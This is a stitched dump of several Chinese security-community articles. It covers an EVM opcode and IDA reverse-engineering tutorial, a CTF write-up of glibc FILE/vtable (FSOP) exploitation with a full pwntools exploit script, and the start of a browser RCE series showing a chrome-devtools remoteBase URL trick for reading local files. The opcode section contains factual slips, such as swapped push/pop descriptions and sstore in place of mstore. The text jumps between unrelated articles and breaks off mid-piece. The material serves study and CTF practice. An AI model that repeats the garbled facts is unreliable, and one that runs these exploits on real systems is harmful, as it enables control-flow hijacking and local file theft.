还有tapestry框架，这个我在公司项目中审的，开源没碰见过，所以不好解释，等哪天碰到了再另说。总的来说跟进思路就这样，其他漏洞同理。感谢shxjia对相关专业知识的解答，感谢白帽100少先队的技术分享 | 社区文章 |
# 智能合约opcode结构分析与ida静态调试
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## opcode简介
在学习和分析opcode的过程中，需要参照EVM OPCODE<https://ethervm.io/#opcodes>
。表格已经描述的比较清晰了：第一列是通过0x00～0xFF表示的opcode；第二列是对应的指令；第三列当前指令相关的输入参数（栈中）；第四列是执行当前指令的出参（栈中）；最后一列是表达式。
### opcode分类
在以太坊官方黄皮书中，对OPCODE进行了相应的分类:
> _0s: Stop and Arithmetic Operations (从0x00-0x0f的指令类型是STOP指令加上算术指令)_
>
> _10s: Comparison & Bitwise Logic Operations (0x10-0x1f的指令是比较指令和比特位逻辑指令)_
>
> _20s: SHA3 (目前0x20-0x2f只有一个SHA3指令)_
>
> 30s: Environmental Information (0x30-0x3f是获取环境信息的指令)*
>
> 40s: Block Information (0x40-0x4f是获取区块信息的指令)*
>
> 50s: Stack, Memory, Storage and Flow Operations
> (0x40-0x4f是获取栈、内存、储存信息的指令和流指令(跳转指令))*
>
> _60s & 70s: Push Operations (0x60-0x7f是32个PUSH指令，PUSH1-PUSH32)_
>
> _80s: Duplication Operations (0x80-0x8f属于DUP1-DUP16指令)_
>
> _90s: Exchange Operations (0x90-0x9f属于SWAP1-SWAP16指令)_
>
> _a0s: Logging Operations (0xa0-0xa4属于LOG0-LOG4指令)_
>
> _f0s: System operations (0xf0-0xff属于系统操作指令)_
实际上结合参照表格，opcode还是比较容易理解的，就是需要多点时间和耐心去一一分析。这里挑其中几个 **获取环境信息的指令** 进行说明：
* CALLVALUE
向栈中压入msg.value，即在调用智能合约的函数时传入的value值；
* CALLDATALOAD
读取msg.data值从i开始往后32字节的值，并将该值压入栈中，覆盖i；
* CALLDATASIZE
读取msg.data的长度，并压入栈中；
* CALLDATACOPY
读取msg中的制定位子的数据存储到相应位子的内存中；
* CODESIZE
统计当前合约的代码字节码长度，压入栈中；
* CODECOPY
指定当前合约的代码片段存储内容中。
可以通过remix的debug功能验证以上的指令。
在上面我们提到了栈和内存，他们都是存储数据，有什么区别呢？
### 存储方式
在智能合约中有三种存储方式，分别是stack(栈)、memory(内存)、storage。
**stack**
在接触EVM的时候，一定看到过介绍说EVM是基于栈的，基于栈的虚拟机数据的存取为先进后出（也即后进先出），在debug的时候跟踪stack的内容就可以看出来。`stack`可以免费使用，没有
gas 消耗，用来保存函数的局部变量，数量被限制在了 16 个。
用于操作栈的指令有：
* push：用从栈顶弹出一个元素
* popX：把紧跟在后面的 1-32 字节元素推入栈顶，Push 指令一共 32 条，从 Push1）到 Push32，因为栈的一个`字`是 256bit，一个字节 8bit，所以 Push 指令最多可以把其后 32 字节的元素放入栈中而不溢出。
* dupX：用来复制从栈顶开始的第 1-16 个元素，复制后把元素在推入栈顶，Dup 指令一共 16 条，从 Dup1到 Dup16。
* swapX：把栈顶元素和从栈顶开始数的第 1-16 个元素进行交换，Swap 指令一共 16 条，从 Swap1一直到 Swap16。
**memory**
memory 是一个易失性的可以读写修改的空间，主要是在运行期间存储数据，将参数传递给内部函数。内存可以在字节级别寻址，一次可以读取 32 字节。
用于操作 memory 的指令有三个：
* mload 加载一个字从 stack 到内存；
* sstore 存储一个值到指定的内存地址，格式 mstore（p，v），存储 v 到地址 p；
* mstore8 存储一个 byte 到指定地址 ；当我们操作内存的时候，总是需要加载 0x40，因为这个地址保存了空闲内存的指针，避免了覆盖已有的数据。
**stroage**
Storage 是一个可以读写修改的持久存储的空间，也是每个合约持久化存储数据的地方，存储消耗的gas费用最高。Storage 是一个巨大的 map，一共
2^256 个插槽，一个插糟有 32byte。注意，存储在storage中的值是可以通过外部接口直接读取的：
eth.getStorageAt(合约地址, slot)
# 该函数还有第三个参数，默认为"latest"，还可以设置为"earliest"或者"pending"，具体作用本文不做分析
EVM 提供的用于操作 storage 的指令有两个：
* sload 用于加载一个字到 stack 中；
* sstore 用于存储一个字到 storage 中；
## opcode结构分析
[Deconstructing a Solidity Contract —Part I: Introduction – OpenZeppelin
blog](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737)
[Deconstructing a Solidity Contract — Part II: Creation vs. Runtime –
OpenZeppelin blog](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-ii-creation-vs-runtime-6b9d60ecb44c)
[Deconstructing a Solidity Contract — Part III: The Function Selector –
OpenZeppelin blog](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-iii-the-function-selector-6a9b6886ea49)
[Deconstructing a Solidity Contract — Part IV: Function Wrappers –
OpenZeppelin blog](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-iv-function-wrappers-d8e46672b0ed)
[Deconstructing a Solidity Contract — Part V: Function Bodies – OpenZeppelin
blog](https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-v-function-bodies-2d19d4bef8be/)
[Deconstructing a Solidity Contract — Part VI: The Metadata Hash –
OpenZeppelin blog](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-vi-the-swarm-hash-70f069e22aef)
该部分主要参考以上六篇blog，这六篇文章十分详细有条理的分析了一个合约编译后的opcode的结构，主要思路围绕这幅图：
将从一下几个方面对一个合约的opcode结构进行介绍：
总体介绍 —>Creation & Runtime —> 函数selector —> 函数 wrapper —> 函数体分析 —>元数据哈希
### Creation & Runtime
* Creation 部分是编译器编译好后的创建合约代码，主要执行了合约的构造函数，并且返回了合约的Runtime代码，以及payable部分的检查。一个智能合约不一样的地方主要是constructor body部分。
* Runtime是真正执行的代码部分，包含了selector、wrapper、function body 和metadata hash 四个部分
### 函数selector
函数选择器也可以看作是一个路由，内容判断了用户是要调用哪一个函数。
在选择执行函数之前还需要进行内存申请和msg.data的长度检查，是否小于4个字节，若小于，则不继续执行。
而selector中判断路由的部分，关于函数签名：
假设一个函数是a(uint256){}，则使用`web3.sha3("a(uint256)");`计算出`a(uint256)`的签名，计算结果为
“0xf0fdf83467af68171df09204c0b00056c1e4c80e368b3fff732778b858f7966d”，之后取前四字节”f0fdf834”作为a(uint256)函数的签名。
根据[ABI](https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html)里的标准，假设用户调用balabceOf(address)，参数就会规范成`0x70a08231000000000000000000000000ca35b7d915458ef540ade6068dfe2f44e8fa733c`这样的格式，前四个字节`70a08231`就使用路由判断。将selecor中的判断转为伪代码：
70a08231 == msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
如果用户调用的函数不存在，若存在 fallback function, 则执行它，否则revert。
### 函数wrapper
主要是检查payable部分，解析用户的参数，并调转到真正的函数部分以及通过memory返回函数的return。
### 函数body
这个部分才是合约的核心部分，也是各个合约不一样的地方。
函数体的开头都有JUMPDEST，对应前面wrapper的jump，中间就是函数的具体逻辑。
### 元数据哈希
这一部分可参见官方文档[合约的元数据 — Solidity develop 文档](https://solidity-cn.readthedocs.io/zh/develop/metadata.html)
最后这一段被解析成字节码，但是其中有很多被解析为invalid，实际上这只是一个串`0xa1 0x65 'b' 'z' 'z' 'r'
'0'`开头的hash值。就是一个字符换，所以很多字节码解析不了。
## ida静态调试
之前经常使用[这个](https://ethervm.io/decompile)在线的反编译工具，但是后来遇到网页502，突然意识到没有网络的情况下，本地的反编译是必不可少的。这一章节将对使用ida反编译合约进行说明。
示例代码：
pragma solidity ^0.4.18;
contract Debug {
address public owner;
uint public prize;
function setOwner() {
owner = msg.sender;
}
function getOwner() constant public returns (address) {
return owner;
}
function add(uint p) public {
prize += p;
}
}
使用remix进行编译（或者使用solc命令），获得字节码：
0x60806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631003e2d21461007257806340caae061461009f578063893d20e8146100b65780638da5cb5b1461010d578063e3ac5d2614610164575b600080fd5b34801561007e57600080fd5b5061009d6004803603810190808035906020019092919050505061018f565b005b3480156100ab57600080fd5b506100b46101a2565b005b3480156100c257600080fd5b506100cb6101e4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561011957600080fd5b5061012261020d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561017057600080fd5b50610179610232565b6040518082815260200191505060405180910390f35b8060016000828254019250508190555050565b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600154815600a165627a7a72305820ffcbeb40a7a1eba0ca0e3fa0595f44425d193e26057cc8a7385148040bf7d7970029
**注意，这里取的是runtime部分，同时开头要加上“0x”，否则ida不能正确解析。**
### ida 反编译插件安装
下载evm插件[https://github.com/crytic/ida-evm，](https://github.com/crytic/ida-evm%EF%BC%8C) 这里注意ida的版本必须是7.0以上。
* 1.复制 `evm-loader.py` 到 `%IDA%/loaders`文件夹下
* 2.复制 `evm-cpu.py` 和 `known_hashes.py` 到 `%IDA%/procs`文件夹下
* 3.重启 IDA
* 4.将上面的编译后的字节码复制到文件中，注意，文件名后缀需要是`bytecode`,否则ida识别不了
* 5.使用IDA打开字节码文件
### ida 反编译
打开后我们可以看到，`function
name`那个窗口显示了反编译出的set，getowner，setowner，add，owner五个函数，因为我们安装的插件中`known_hashes.py`,实际上是一个”彩虹表”。下图是类似智能合约的数据流图，可以看到这部分展示的是我们上面说的selector部分，判断要调用哪一个函数。
这一段代码几乎所有合约反编译之后都差不多，首先栈压入0x4，然后calldatasize计算msg.data的大小，实际上就是用户所调用的函数(签名)，如果这个长度小于4字节，就跳到0x6d，执行revert；否则就跳转到调用的函数，用python简单表示这个过程就是：
def main():
if CALLDATASIZE >= 4:
data = CALLDATA[:4]
if data == 0x1003e2d2:
return add(uint256)
elif data == 0x40caae06:
return setOwner()
elif data == 0x893d20e8:
return getOwner()
elif data == 0x8da5cb5b:
return owner()
elif data == 0xe3ac5d26:
return prize()
else:
pass
else:
revert
跳进具体的函数，查看text
view，可以看到每一个函数的内容，我们分别看owner()和getowner()，注释中`{}`中的内容为栈的内容，左边对应栈顶。
owner():
evm:00000119 loc119: ; CODE XREF: owner_+7↑j
evm:00000119 JUMPDEST
evm:0000011A POP
evm:0000011B PUSH2 0x122
evm:0000011E PUSH2 0x20d //跳转到0x20d
evm:00000121 JUMP
evm:00000122 JUMPDEST
evm:00000123 PUSH1 //0x40，{0x40,storage[0x0]}
evm:00000125 MLOAD //取内存中memory[0x40:0x40+32]，{memory[0x40:0x40+32],storage[0x0]}
evm:00000126 DUP1 //memory[0x40:0x40+32],memory[0x40:0x40+32]{memory[0x40:0x40+32],memory[0x40:0x40+32],storage[0x0]}
evm:00000127 DUP3 //{storage[0x0],memory[0x40:0x40+32],memory[0x40:0x40+32],storage[0x0]}
evm:00000128 PUSH20 0xffffffffffffffffffffffffffffffffffffffff //{0xffffffffffffffffffffffffffffffffffffffff,storage[0x0],memory[0x40:0x40+32],memory[0x40:0x40+32],storage[0x0]}
evm:0000013D AND //{storage[0x0],memory[0x40:0x40+32],memory[0x40:0x40+32],storage[0x0]}
evm:0000013E PUSH20 0xffffffffffffffffffffffffffffffffffffffff
evm:00000153 AND //{storage[0x0],memory[0x40:0x40+32],memory[0x40:0x40+32],storage[0x0]}
evm:00000154 DUP2 //{memory[0x40:0x40+32],storage[0x0],memory[0x40:0x40+32],memory[0x40:0x40+32],storage[0x0]}
evm:00000155 MSTORE //memory[memory[0x40:0x40+32]:memory[0x40:0x40+32]+32]=storage[0x0] //{memory[0x40:0x40+32],memory[0x40:0x40+32],storage[0x0]}
evm:00000156 PUSH1 0x20 //{0x20,memory[0x40:0x40+32],memory[0x40:0x40+32],storage[0x0]}
evm:00000158 ADD //{0x20+memory[0x40:0x40+32],memory[0x40:0x40+32],storage[0x0]}
evm:00000159 SWAP2 //{storage[0x0],memory[0x40:0x40+32],0x20+memory[0x40:0x40+32]}
evm:0000015A POP //{memory[0x40:0x40+32],0x20+memory[0x40:0x40+32]}
evm:0000015B POP //{0x20+memory[0x40:0x40+32]}
evm:0000015C PUSH1 0x40 { 0x40,0x20+memory[0x40:0x40+32]}
evm:0000015E MLOAD // value = memory[0x40:0x40+32] {memory[0x40:0x40+32],0x20+memory[0x40:0x40+32]}
evm:0000015F DUP1 //{memory[0x40:0x40+32],memory[0x40:0x40+32],0x20+memory[0x40:0x40+32]}
evm:00000160 SWAP2 //{0x20+memory[0x40:0x40+32],memory[0x40:0x40+32],memory[0x40:0x40+32],}
evm:00000161 SUB //{0x20,memory[0x40:0x40+32]}
evm:00000162 SWAP1 //{memory[0x40:0x40+32],0x20}
evm:00000163 RETURN //return memory[memory[0x40:0x40+32]:memory[0x40:0x40+32]+0x20],实际上我们在evm:00000155处注释过这个值就是storage[0x0]}，即owner
evm:0000020D loc20D: ; CODE XREF: owner_+14↑j
evm:0000020D JUMPDEST
evm:0000020E PUSH1 0x0 //将0x0压入到栈中
evm:00000210 DUP1 //栈复制0x0
evm:00000211 SWAP1 //交换栈顶两个值
evm:00000212 SLOAD //取出storage[0x0],压入栈顶，覆盖原来栈顶的0x0.
evm:00000213 SWAP1 //{0x0,storage[0x0]}
evm:00000214 PUSH2 0x100 //{0x100,0x0,storage[0x0]}
evm:00000217 EXP //(0x100)^0=1. {0x1,storage[0x0]}
evm:00000218 SWAP1 //{storage[0x0],0x1}
evm:00000219 DIV //storage[0x0]//0x1 {storage[0x0]}
evm:0000021A PUSH20 0xffffffffffffffffffffffffffffffffffffffff //{0xffffffffffffffffffffffffffffffffffffffff,storage[0x0]}
evm:0000022F AND //SLOAD(0) & 0xffffffffffffffffffffffffffffffffffffffff，取了owner的值（address类型）
evm:00000230 DUP2 //{0x122,storage[0x0],0x122}，0x122是最开始和0x20d一起压入栈的
evm:00000231 JUMP //跳转到0x122
如果有兴趣再看一下getowner()函数，会发现和owner()是一样的。owner是一个全局变量，getowner是获取owner值的公有函数，但是反编译之后的结果是一样的。我们可以推断出
address public a;
等价
function a() public returns (address) {
return a;
}
通过构造不同的测试合约，在使用ida反编译，不清楚的地方可以结合remix的debug进行跟踪，可以加快对OPCODE的逆向速度。
稍微修改上面的代码
pragma solidity ^0.4.18;
contract Debug {
address public owner;
uint public prize;
function setOwner() payable{
owner = msg.sender;
}
function getOwner() constant public returns (address) {
return owner;
}
function add(uint p) public {
prize += p;
}
function (){
prize -= 1;
}
}
在原来的基础上给setOwner()增加了payable，同时增加了一个回退函数，同样进行反编译，我们会发现有`payable`的函数比没有`payable`的函数少了一段代码：
evm:000000C3 JUMPDEST
evm:000000C4 CALLVALUE
evm:000000C5 DUP1
evm:000000C6 ISZERO
evm:000000C7 PUSH2 0xcf
evm:000000CA JUMPI
evm:000000CB loc_CB: ; CODE XREF: getOwner__+7↑j
evm:000000CB PUSH1 0x0
evm:000000CD DUP1
evm:000000CE REVERT
很容易理解，`CALLVALUE`值如果为0，就跳转继续执行，否则revert。
那为什么不是在有payable的函数前增加一段判断,`CALLVALUE`为0就revert，否则执行？对于一个带有payable的函数，如果用户在调用的时候，没有传入value，是不是也能成功调用呢？
查看owner值：
不添加value调用setowner，查看owner值：
调用成功，因此，对于payable函数，不附加value是可以调用的，除非在函数内部另作判断。
然后我们看回退函数，反编译结果和之前的差别，在start()函数在graph view中，末尾会多出一段：
上述过程判断`msg.value`是否为0，若为0，就执行回退函数中prize-1，否则revert。即当用户调用的函数在selector中一个都没有匹配上的时候，同时`msg.value`为0，就会执行回退函数。
def main():
if CALLDATASIZE >= 4:
data = CALLDATA[:4]
if data == 0x1003e2d2:
return add(uint256)
elif data == 0x40caae06:
return setOwner()
elif data == 0x893d20e8:
return getOwner()
elif data == 0x8da5cb5b:
return owner()
elif data == 0xe3ac5d26:
return prize()
assert msg.value == 0
prize -= 1
exit()
说到回退函数就想到了重入漏洞，为什么用`call.value`向合约转账时也可以触发回退函数呢？实际上，为了能够让`call.value`执行成功，需要一个带有payable的回退函数，因为在所有函数都没有匹配上的时候，如果回退函数没有payable，就还要执行`assert
msg.value == 0`，相反，带上payable的回退函数就能够被执行，同时可以接受转账。
function () payable{
prize -= 1;
}
def main():
if CALLDATASIZE >= 4:
……
elif data == 0xe3ac5d26:
return prize()
//assert msg.value == 0 ，没有了这步，可以转账了，同时也可以直接执行回退函数了
prize -= 1
exit()
然后巧妙的在回退函数里面再次调用`call.value`,就回再次调用回退，又因为通常判断在上层，因此一直循环转账到把gas消耗光。
## 小结
以上内容是对之前学习别人分享的智能合约文章的一些总结和思考，其实看了编译后的opcode，我们会发现有很多没有用的指令，比如加了1，又减1等。可以通过上面这种方式比较`Enable
optimization`的编译结果有什么不一样？如何写出节省gas的智能合约？以及不同版本编译器编译结果的差别？下一篇将会继续探索。
**参考：**
<https://paper.seebug.org/640/>
<https://ethervm.io/>
[Deconstructing a Solidity Contract —Part I: Introduction – OpenZeppelin
blog](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737)
[Deconstructing a Solidity Contract — Part II: Creation vs. Runtime –
OpenZeppelin blog](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-ii-creation-vs-runtime-6b9d60ecb44c)
[Deconstructing a Solidity Contract — Part III: The Function Selector –
OpenZeppelin blog](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-iii-the-function-selector-6a9b6886ea49)
[Deconstructing a Solidity Contract — Part IV: Function Wrappers –
OpenZeppelin blog](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-iv-function-wrappers-d8e46672b0ed)
[Deconstructing a Solidity Contract — Part V: Function Bodies – OpenZeppelin
blog](https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-v-function-bodies-2d19d4bef8be/)
[Deconstructing a Solidity Contract — Part VI: The Metadata Hash –
OpenZeppelin blog](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-vi-the-swarm-hash-70f069e22aef) | 社区文章 |
# 通过一道pwn题探究_IO_FILE结构攻击利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前一段时间学了IO-file的知识，发现在CTF中IO_file也是一个常考的知识点，这里我就来总结一下IO_file的知识点，顺便可以做一波笔记。首先讲一下IO_file的结构体，然后其利用的方法，最后通过一道HITB-XCTF 2018 GSEC once的题目来加深对IO_file的理解。
## libc2.23 版本的IO_file利用
这是一种控制流劫持技术，攻击者可以利用程序中的漏洞覆盖file指针指向能够控制的区域，从而改写结构体中重要的数据，或者覆盖vtable来控制程序执行流。
### IO_file结构体
在ctf中调用setvbuf()，stdin、stdout、stderr结构体一般位于libc数据段，其他大多数的FILE
结构体保存在堆上，其定义如下代码：
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
FILE结构体会通过struct _IO_FILE
*_chain链接成一个链表，64位程序下其偏移为0x60，链表头部用_IO_list_all指针表示。如下图所示
IO_file结构体外面还被一个IO_FILE_plus结构体包裹着，其定义如下
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
其中包含了一个重要的虚表*vtable，它是IO_jump_t
类型的指针,偏移是0xd8，保存了一些重要的函数指针，我们一般就是改这里的指针来控制程序执行流。其定义如下
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
### 利用方法（FSOP）
这是利用程序中的漏洞（如unsorted bin
attack）来覆盖_IO_list_all(全局变量)来使链表指向一个我们能够控制的区域，从而改写虚表*vtable。通过调用
_IO_flush_all_lockp()函数来触发,，该函数会在下面三种情况下被调用：
1：当 libc 执行 abort 流程时。
2：当执行 exit 函数时。当执行流从 main 函数返回时
3：当执行流从 main 函数返回时
当 glibc 检测到内存错误时，会依次调用这样的函数路径：malloc_printerr ->
libc_message->__GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW
要让正常控制执行流，还需要伪造一些数据，我们看下代码
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
这时我们伪造 fp->_mode = 0， fp->_IO_write_ptr > fp->_IO_write_base就可以通过验证
## 新版本下的利用
新版本（libc2.24以上）的防御机制会检查vtable的合法性，不能再像之前那样改vatable为堆地址，但是_IO_str_jumps是一个符合条件的
vtable，改 vtable为 _IO_str_jumps即可绕过检查。其定义如下
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
其中 IO_str_overflow 函数会调用 FILE+0xe0处的地址。这时只要我们将虚表覆盖为
IO_str_jumps将偏移0xe0处设置为one_gadget即可。
还有一种就是利用io_finish函数，同上面的类似， io_finish会以 IO_buf_base处的值为参数跳转至 FILE+0xe8处的地址。执行
fclose（ fp）时会调用此函数，但是大多数情况下可能不会有 fclose（fp），这时我们还是可以利用异常来调用 io_finish，异常时调用
IO_OVERFLOW
是根据IO_str_overflow在虚表中的偏移找到的， 我们可以设置vtable为IO_str_jumps-0x8异常时会调用io_finish函数。
## 具体题目（HITB-XCTF 2018 GSEC once）
### 1、先简单运行一下程序，查看保护
主要开启了CANARY和NX保护，不能改写GOT表
### 2、ida打开，反编译
这里当输入一个不合法的选项时，就会输出puts的地址，用于泄露libc的基地址。
第一个函数是创建一个chunk保存数据
第二个函数和第三个函数只能执行一次，有个任意地址写漏洞，这时我们可以利用第二个函数改写off_202038+3d为_IO_list_all-0x10，然后分别执行第三和第一个函数，最后_IO_list_all就会指向0x555555757040的位置
第四个函数主要是对堆块的操作，我们可以利用利用这个函数伪造一个_IO_FILE结构
### 3、具体过程
1、泄露libc，输入一个“6”即可得到puts函数的地址，然后酸算出libc基地址
p.recvuntil('>')
p.sendline('6')
p.recvuntil('Invalid choicen')
ioputadd=int(p.recvuntil('>',drop=True),16)
print hex(ioputadd)
libcbase=ioputadd-libc.symbols['_IO_puts']
print hex(libcbase)
one=libcbase+0x4526a
2、利用任意地址写改写_IO_list_all为堆的地址
p.sendline('1')
p.recvuntil('>')
p.sendline('2')
ioall=libcbase+libc.symbols['_IO_list_all']-0x10
print hex(ioall)
payload=p64(ioall)*4
p.sendline(payload)
p.recvuntil('>')
p.sendline('3')
p.recvuntil('>')
p.sendline('1')
3、这时只要我们再利用第四个函数伪造__IO_FILE结构体，改写vtable为_IO_str_jumps，file+0xe0设置
为one_gadget
p.sendline('4')
p.sendline('1')
p.recvuntil('input size:n')
p.sendline('256')
jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps
p.recvuntil('>')
p.sendline('2')
payload=''*0xa8+p64(jump)+p64(one)
payload+=''*(0x100-len(payload))
p.sendline(payload)
p.recvuntil('>')
p.sendline('4')
4、输入“5”，执行exit()函数触发one_gadget
p.recvuntil('>')
p.sendline('5')
p.interactive()
## 小结
这个是我个人总结出来的IO_file结构的一些知识点，写得还不够全，如有写得不对的地方，欢迎大牛指正。
## 完整EXP
from pwn import*
#context.log_level=True
p=process('./once')
elf=ELF('once')
libc=ELF('libc6_2.23-0ubuntu10_amd64.so')
p.recvuntil('>')
p.sendline('6')
p.recvuntil('Invalid choicen')
ioputadd=int(p.recvuntil('>',drop=True),16)
print hex(ioputadd)
libcbase=ioputadd-libc.symbols['_IO_puts']
print hex(libcbase)
one=libcbase+0x4526a
p.sendline('1')
p.recvuntil('>')
p.sendline('2')
ioall=libcbase+libc.symbols['_IO_list_all']-0x10
print hex(ioall)
payload=p64(ioall)*4
p.sendline(payload)
p.recvuntil('>')
p.sendline('3')
p.recvuntil('>')
#
p.sendline('1')
p.recvuntil('>')
p.sendline('4')
p.sendline('1')
p.recvuntil('input size:n')
p.sendline('256')
jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps
p.recvuntil('>')
p.sendline('2')
payload=''*0xa8+p64(jump)+p64(one)
payload+=''*(0x100-len(payload))
p.sendline(payload)
#gdb.attach(p)
p.recvuntil('>')
p.sendline('4')
raw_input()
p.recvuntil('>')
p.sendline('5')
p.interactive() | 社区文章 |
本文属于浏览器安全系列第一篇,目录如下
1. [2345浏览器本地文件读取及远程命令执行](http://paper.seebug.org/72/)
2. [百度浏览器远程命令执行](http://paper.seebug.org/73/)
3. [搜狗浏览器从UXSS到远程命令执行](http://paper.seebug.org/74/)
4. [Fancy3D引擎（YY浏览器）远程命令执行](http://paper.seebug.org/75/)
* * *
原文链接：http://zhchbin.github.io/2016/07/23/2345-Browser-RCE/
作者：[zhchbin](http://zhchbin.github.io/)
案例链接： ~~http://wooyun.org/bugs/wooyun-2016-0204520~~
### 背景知识
#### 0x00 chrome-devtools本地文件读取漏洞
在 http://www.wooyun.org/bugs/wooyun-2010-0176314 中使用到了一个chrome-devtools的一个本地文件读取的漏洞（只有特定几个版本有这个问题，现在已经修复），访问URL
chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://xxx.com/&remoteFrontend=true
就会加载并执行xxx.com下的screencast_module.js，在这个js中，有权限使用DevToolsAPI，利用向外出容器发送类型为loadNetworkResource的消息可以读取到本地文件内容。我写了一个flask程序进行验证，见测试代码。
在C盘新建一个`111.txt`并写入内容，运行服务器之后，在2345浏览器打开`chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://127.0.0.1/file/&remoteFrontend=true`。本地测试截图：
#### 0x01 WebKit系浏览器伪协议调用
在 http://www.wooyun.org/bugs/wooyun-2010-0175902
中，可以通过`location.href="vbefile:/../../../已知路径/1.js"`来执行本地文件`1.js`
### 一步一步构造PoC
#### 0x00 首先我们来思考如何实现读取本地文件
要让用户自己主动打开：`chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://x.xx.com/file/&remoteFrontend=true`貌似不太可能，如@gainover提到的，location.href，window.open进行跳转都是会因为安全问题而被浏览器限制，比如：提示Not
allowed to load local resource，或打开页面是空白等措施。
#### 0x01 国产浏览器的毛病
